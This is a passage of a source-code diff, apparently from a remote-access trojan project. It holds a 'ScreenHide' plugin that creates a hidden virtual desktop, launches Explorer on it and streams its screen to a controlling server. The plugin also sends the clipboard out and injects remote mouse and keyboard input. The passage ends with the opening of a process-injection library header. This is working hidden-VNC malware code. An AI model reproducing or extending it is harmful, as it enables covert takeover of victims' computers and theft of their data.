startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
}
}
void CScreenHideManager::InitScreenSpy() {
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
}
else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
{
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
BYTE* param = (BYTE*)m_ptrUser;
int compress = ALGORITHM_DIFF;
if (param) {
compress = param[1];
delete[] param;
m_ptrUser = NULL;
}
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
}
} // namespace SimplePluginsScreenHide
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include "Manager.h"
#include "ScreenHideSpy.h"
#include "ScreenManagerBase.h"
namespace SimplePluginsScreenHide {
class CScreenHideManager : public CScreenManagerBase
{
public:
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
virtual ~CScreenHideManager();
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
virtual void InitScreenSpy();
};
} // namespace SimplePluginsScreenHide
+22
View File
@@ -0,0 +1,22 @@
#pragma once
#include "ScreenSpy.h"
namespace SimplePluginsScreenHide {
// 隐私屏幕捕获器。
//
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
class CScreenHideSpy : public ::CScreenSpy
{
public:
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
{
}
};
} // namespace SimplePluginsScreenHide
+642
View File
@@ -0,0 +1,642 @@
#pragma once
#include "Manager.h"
#include "ScreenCapture.h"
#include <Shlwapi.h>
#include <ShlObj.h>
#include <tchar.h>
class IOCPClient;
namespace SimplePluginsScreenHide {
class CScreenManagerBase : public CManager {
public: // 构造和析构
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
{
m_DlgToken = token;
g_hDesk = nullptr;
m_DesktopID = GetBotId();
m_ptrUser = user;
m_ScreenSpyObject = nullptr;
m_biBitCount = nBitDepth;
m_fps = 10;
m_bIsWorking = TRUE;
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
m_point = {};
m_lastPoint = {};
m_lmouseDown = FALSE;
m_hResMoveWindow = nullptr;
m_resMoveType = 0;
m_rmouseDown = FALSE;
m_rclickPoint = {};
m_rclickWnd = nullptr;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
SetReady(TRUE);
}
virtual ~CScreenManagerBase() {
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
WaitForSingleObject(m_hBlankThread, INFINITE);
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
SAFE_DELETE(m_ScreenSpyObject);
if (g_hDesk) {
auto b = CloseDesktop(g_hDesk);
g_hDesk = NULL;
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
}
}
public: // 非纯虚函数
virtual BOOL SendFirstScreen() {
ULONG len = 0;
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
if (nullptr == data) {
return FALSE;
}
return m_ClientObject->Send2Server((char*)data, 1 + len);
}
virtual bool IsMetricsChange() {
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
if (m_oldwidth == 0 || m_oldheigh == 0) {
return false;
}
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
return true;
}
return false;
}
virtual void Loop_Screen() {
// 获取分辨率
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
// 修改分辨率
DEVMODE lpDevMode;
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
lpDevMode.dmSize = sizeof(lpDevMode);
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
if (result == DISP_CHANGE_SUCCESSFUL) {
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
}
else {
ChangeDisplaySettings(NULL, 0);
}
}
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
virtual int GetCurrentPixelBits() { return m_biBitCount; }
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
}
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
}
virtual void ResetScreen(int biBitCount = 32) {
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
SAFE_DELETE(m_ScreenSpyObject);
m_biBitCount = biBitCount;
m_bIsWorking = TRUE;
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
}
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
if (!OpenClipboard(NULL))
return;
EmptyClipboard();
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
if (hGlobal != NULL) {
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
if (szClipboardVirtualAddress)
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
GlobalUnlock(hGlobal);
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
GlobalFree(hGlobal);
}
CloseClipboard();
}
virtual VOID SendClientClipboard() {
if (!OpenClipboard(NULL)) //打开剪切板设备
return;
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
if (hGlobal == NULL) {
CloseClipboard();
return;
}
int iPacketLength = GlobalSize(hGlobal) + 1;
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
LPBYTE szBuffer = new BYTE[iPacketLength];
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
GlobalUnlock(hGlobal);
CloseClipboard();
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
delete[] szBuffer;
}
virtual DWORD WorkProcess() {
CScreenManagerBase* This = this;
This->InitScreenSpy();
This->SendBitMapInfo();
if (This->m_bIsWorking)
This->WaitForDialogOpen();
This->SendScreenSize();
clock_t last = clock();
if (!This->SendFirstScreen()) {
Mprintf("Send first screen failed!!!\n");
return 0x20250224;
}
Mprintf("Succeed sending bmpInfo and first screen\n");
float fps = This->m_fps;
const int sleep = 1000 / fps;// 间隔时间(ms)
int c1 = 0; // 连续耗时长的次数
int c2 = 0; // 连续耗时短的次数
int s0 = sleep; // 两帧之间隔(ms)
const int frames = fps; // 每秒调整屏幕发送速度
const double alpha = 1.1; // 控制fps的因子
timeBeginPeriod(1);
while (This->m_bIsWorking) {
ULONG ulNextSendLength = 0;
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
if (NULL == szBuffer) {
continue;
}
int span = s0 - (clock() - last);
Sleep(span > 0 ? span : 1);
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
c2 = 0;
if (frames == ++c1) { // 连续一定次数耗时长
s0 = (s0 <= 500) ? s0 * alpha : s0;
c1 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
c1 = 0;
if (frames == ++c2) { // 连续一定次数耗时短
s0 = (s0 >= 40) ? s0 / alpha : s0;
c2 = 0;
#ifdef _DEBUG
if (s0 > 40)
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
#endif
}
}
last = clock();
This->SendNextScreen(szBuffer, ulNextSendLength);
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
return 0;
}
virtual DWORD ControlProcess() {
CScreenManagerBase* pThis = this;
pThis->WaitForDialogOpen();
while (pThis->IsConnect() && pThis->m_bIsWorking) {
// 分辨率大小改变了
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
pThis->ResetScreen(pThis->GetCurrentPixelBits());
Sleep(2000);
}
Sleep(10);
}
return -1;
}
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
return pThis->WorkProcess();
}
static DWORD WINAPI ControlThread(LPVOID lparam) {
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
return pThis->ControlProcess();
}
std::wstring ConvertToWString(const std::string& multiByteStr) {
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
if (len == 0) return L""; // 转换失败
std::wstring wideStr(len, L'\0');
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
return wideStr;
}
std::string GetTitle(HWND hWnd) {
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
GetWindowTextA(hWnd, title, sizeof(title));
return title;
}
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
bool bReturn = false;
try {
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
return false;
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
std::wstring path = ConvertToWString(pszApplicationFilePath);
if (!PathIsExe(path.c_str()))
return false;
PathRemoveFileSpec(szDirectoryName);
STARTUPINFO sInfo = { 0 };
PROCESS_INFORMATION pInfo = { 0 };
sInfo.cb = sizeof(sInfo);
sInfo.lpDesktop = pszDesktopName;
//Launching a application into desktop
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
NULL,
NULL,
NULL,
TRUE,
NORMAL_PRIORITY_CLASS,
NULL,
szDirectoryName,
&sInfo,
&pInfo);
CloseHandle(pInfo.hProcess);
CloseHandle(pInfo.hThread);
TCHAR* pszError = NULL;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
if (pszError) {
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
LocalFree(pszError); // 释放内存
}
if (bCreateProcessReturn)
bReturn = true;
}
catch (...) {
bReturn = false;
}
return bReturn;
}
virtual VOID SendBitMapInfo() {
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
LPBYTE szBuffer = new BYTE[ulLength];
szBuffer[0] = m_DlgToken;
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
SAFE_DELETE_ARRAY(szBuffer);
}
virtual void SendScreenSize()
{
RECT rect = m_ScreenSpyObject->GetScreenRect();
BYTE lpBuffer[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SCREEN_SIZE;
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
Send(lpBuffer, sizeof(lpBuffer));
}
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
int msgSize = sizeof(MYMSG);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
msgSize = 48;
else return; // 数据包不合法
ULONG ulMsgCount = ulLength / msgSize;
BYTE* ptr = szBuffer;
MSG32 msg32;
MSG64 msg64;
if (nullptr == g_hDesk) {
// 命令个数
// 处理多个命令
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (Msg->message) {
case WM_LBUTTONDOWN: case WM_LBUTTONUP:
case WM_RBUTTONDOWN: case WM_RBUTTONUP:
case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
case WM_MBUTTONDOWN: case WM_MBUTTONUP:
case WM_MOUSEMOVE: {
POINT Point;
Point.x = LOWORD(Msg->lParam);
Point.y = HIWORD(Msg->lParam);
m_ScreenSpyObject->PointConversion(Point);
SetCursorPos(Point.x, Point.y);
SetCapture(WindowFromPoint(Point));
}
break;
default:
break;
}
switch (Msg->message) {
case WM_LBUTTONDOWN:
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
break;
case WM_LBUTTONUP:
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDOWN:
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
break;
case WM_RBUTTONUP:
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_LBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
break;
case WM_RBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDBLCLK:
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MBUTTONDOWN:
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
break;
case WM_MBUTTONUP:
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
break;
case WM_MOUSEWHEEL:
mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
break;
case WM_KEYDOWN: case WM_SYSKEYDOWN:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
break;
case WM_KEYUP: case WM_SYSKEYUP:
keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
break;
default:
break;
}
}
} else { // 虚拟桌面
HWND hWnd = NULL;
BOOL mouseMsg = FALSE;
POINT lastPointCopy = {};
SetThreadDesktop(g_hDesk);
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
switch (msg->message) {
case WM_KEYUP:
return;
case WM_CHAR:
case WM_KEYDOWN: {
m_point = m_lastPoint;
hWnd = WindowFromPoint(m_point);
break;
}
case WM_RBUTTONDOWN: {
// 记录右键按下时的坐标
m_rmouseDown = TRUE;
m_rclickPoint = msg->pt;
break;
}
case WM_RBUTTONUP: {
m_rmouseDown = FALSE;
m_rclickWnd = WindowFromPoint(m_rclickPoint);
// 检查是否为系统菜单(如任务栏)
char szClass[256] = { 0 };
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
// 触发系统级右键菜单(任务栏)
PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
}
else {
// 普通窗口的右键菜单
if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
// 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
keybd_event(VK_SHIFT, 0, 0, 0);
keybd_event(VK_F10, 0, 0, 0);
keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
}
}
break;
}
default:
{
mouseMsg = TRUE;
m_point = msg->pt;
hWnd = WindowFromPoint(m_point);
lastPointCopy = m_lastPoint;
m_lastPoint = m_point;
if (msg->message == WM_LBUTTONUP) {
if (m_rclickWnd && hWnd != m_rclickWnd)
{
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
m_rclickWnd = nullptr;
}
m_lmouseDown = FALSE;
LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
switch (lResult) {
case HTTRANSPARENT: {
SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
break;
}
case HTCLOSE: {// 关闭窗口
PostMessageA(hWnd, WM_CLOSE, 0, 0);
Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMINBUTTON: {// 最小化
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
case HTMAXBUTTON: {// 最大化
WINDOWPLACEMENT windowPlacement;
windowPlacement.length = sizeof(windowPlacement);
GetWindowPlacement(hWnd, &windowPlacement);
if (windowPlacement.flags & SW_SHOWMAXIMIZED)
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
else
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
break;
}
}
}
else if (msg->message == WM_LBUTTONDOWN) {
m_lmouseDown = TRUE;
m_hResMoveWindow = NULL;
RECT startButtonRect;
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
GetWindowRect(hStartButton, &startButtonRect);
if (PtInRect(&startButtonRect, m_point)) {
PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
continue;
}
else {
char windowClass[MAX_PATH] = { 0 };
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
if (!lstrcmpA(windowClass, "#32768")) {
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
int itemId = GetMenuItemID(hMenu, itemPos);
PostMessageA(hWnd, 0x1e5, itemPos, 0);
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
continue;
}
}
}
else if (msg->message == WM_MOUSEMOVE) {
if (!m_lmouseDown)
continue;
if (!m_hResMoveWindow)
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
else
hWnd = m_hResMoveWindow;
int moveX = lastPointCopy.x - m_point.x;
int moveY = lastPointCopy.y - m_point.y;
RECT rect;
GetWindowRect(hWnd, &rect);
int x = rect.left;
int y = rect.top;
int width = rect.right - rect.left;
int height = rect.bottom - rect.top;
switch (m_resMoveType) {
case HTCAPTION: {
x -= moveX;
y -= moveY;
break;
}
case HTTOP: {
y -= moveY;
height += moveY;
break;
}
case HTBOTTOM: {
height -= moveY;
break;
}
case HTLEFT: {
x -= moveX;
width += moveX;
break;
}
case HTRIGHT: {
width -= moveX;
break;
}
case HTTOPLEFT: {
y -= moveY;
height += moveY;
x -= moveX;
width += moveX;
break;
}
case HTTOPRIGHT: {
y -= moveY;
height += moveY;
width -= moveX;
break;
}
case HTBOTTOMLEFT: {
height -= moveY;
x -= moveX;
width += moveX;
break;
}
case HTBOTTOMRIGHT: {
height -= moveY;
width -= moveX;
break;
}
default:
continue;
}
MoveWindow(hWnd, x, y, width, height, FALSE);
m_hResMoveWindow = hWnd;
continue;
}
break;
}
}
for (HWND currHwnd = hWnd;;) {
hWnd = currHwnd;
ScreenToClient(currHwnd, &m_point);
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
if (!currHwnd || currHwnd == hWnd)
break;
}
if (mouseMsg)
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
}
}
}
public: // 纯虚函数
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
virtual void InitScreenSpy() = 0;
HDESK g_hDesk;
std::string m_DesktopID;
void* m_ptrUser;
ScreenCapture* m_ScreenSpyObject;
BOOL m_bIsWorking;
long m_oldwidth, m_oldheigh;
int m_biBitCount;
int m_fps;
int m_DlgToken; // 这个值决定打开哪个对话框
HANDLE m_hWorkThread, m_hBlankThread;
// 虚拟桌面
POINT m_point;
POINT m_lastPoint;
BOOL m_lmouseDown;
HWND m_hResMoveWindow;
LRESULT m_resMoveType;
BOOL m_rmouseDown; // 标记右键是否按下
POINT m_rclickPoint; // 右键点击坐标
HWND m_rclickWnd; // 右键窗口
};
} // namespace SimplePluginsScreenHide
+915
View File
@@ -0,0 +1,915 @@
/*
yapi -- Yet Another Process Injector / Your API
A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
This library is released under the MIT License.
Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
*/
#pragma once
#define WIN32_NO_STATUS
#include <windows.h>
#include <winternl.h>
#include <tchar.h>
#include <vector>
#include <string>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#include <TlHelp32.h>
namespace detail {
static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
inline BOOL Is64BitOS()
{
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
}
static const BOOL is64BitOS = Is64BitOS();
struct GCBase
{
virtual DWORD64 toDWORD64() = 0;
virtual void gc() = 0;
};
struct GCHelper
{
~GCHelper() {
for (size_t i = 0; i < _ptrs.size(); i++) {
_ptrs[i]->gc();
delete _ptrs[i];
}
}
DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
private:
std::vector<GCBase*> _ptrs;
};
}
namespace yapi {
typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
#ifndef UNICODE
static std::string _W2T(const wchar_t* wcs)
{
int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
std::string ret(len, 0);
assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
ret.resize(len - 1);
return ret;
}
#else
#define _W2T(str) std::wstring(str)
#endif
#define REPEAT_0(macro)
#define REPEAT_1(macro) REPEAT_0(macro)
#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
#define END_MACRO_0(macro)
#define END_MACRO_1(macro) macro(1)
#define END_MACRO_2(macro) macro(2)
#define END_MACRO_3(macro) macro(3)
#define END_MACRO_4(macro) macro(4)
#define END_MACRO_5(macro) macro(5)
#define END_MACRO_6(macro) macro(6)
#define END_MACRO_7(macro) macro(7)
#define END_MACRO_8(macro) macro(8)
#define END_MACRO_9(macro) macro(9)
#define END_MACRO_10(macro) macro(10)
#define END_MACRO_11(macro) macro(11)
#define END_MACRO_12(macro) macro(12)
#define END_MACRO_13(macro) macro(13)
#define END_MACRO_14(macro) macro(14)
#define END_MACRO_15(macro) macro(15)
#define END_MACRO_16(macro) macro(16)
#define END_MACRO_17(macro) macro(17)
#define END_MACRO_18(macro) macro(18)
#define END_MACRO_19(macro) macro(19)
#define END_MACRO_20(macro) macro(20)
#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
#define __ARG(n) P ## n
#define __PARAM(n) p ## n
#define __ARG_DECL(n) __ARG(n) __PARAM(n)
#define TEMPLATE_ARG(n) typename __ARG(n)
#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
#define ARG_DECL(n) __ARG_DECL(n) ,
#define END_ARG_DECL(n) __ARG_DECL(n)
#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
namespace {
template <class T>
struct _UNICODE_STRING_T {
union {
struct {
WORD Length;
WORD MaximumLength;
};
T dummy;
};
T Buffer;
};
template <typename T>
struct _LIST_ENTRY_T {
T Flink;
T Blink;
};
template <typename T>
struct _PEB_T {
T dummy01;
T Mutant;
T ImageBaseAddress;
T Ldr;
// omit unused fields
};
typedef _PEB_T<DWORD> PEB32;
typedef _PEB_T<DWORD64> PEB64;
typedef struct _PROCESS_BASIC_INFORMATION32 {
NTSTATUS ExitStatus;
UINT32 PebBaseAddress;
UINT32 AffinityMask;
UINT32 BasePriority;
UINT32 UniqueProcessId;
UINT32 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION32;
typedef struct _PROCESS_BASIC_INFORMATION64 {
NTSTATUS ExitStatus;
UINT32 Reserved0;
UINT64 PebBaseAddress;
UINT64 AffinityMask;
UINT32 BasePriority;
UINT32 Reserved1;
UINT64 UniqueProcessId;
UINT64 InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION64;
template <class T>
struct _PEB_LDR_DATA_T {
DWORD Length;
DWORD Initialized;
T SsHandle;
_LIST_ENTRY_T<T> InLoadOrderModuleList;
// omit unused fields
};
typedef _PEB_LDR_DATA_T<DWORD> PEB_LDR_DATA32;
typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
template <class T>
struct _LDR_DATA_TABLE_ENTRY_T {
_LIST_ENTRY_T<T> InLoadOrderLinks;
_LIST_ENTRY_T<T> InMemoryOrderLinks;
_LIST_ENTRY_T<T> InInitializationOrderLinks;
T DllBase;
T EntryPoint;
union {
DWORD SizeOfImage;
T dummy01;
};
_UNICODE_STRING_T<T> FullDllName;
_UNICODE_STRING_T<T> BaseDllName;
// omit unused fields
};
typedef _LDR_DATA_TABLE_ENTRY_T<DWORD> LDR_DATA_TABLE_ENTRY32;
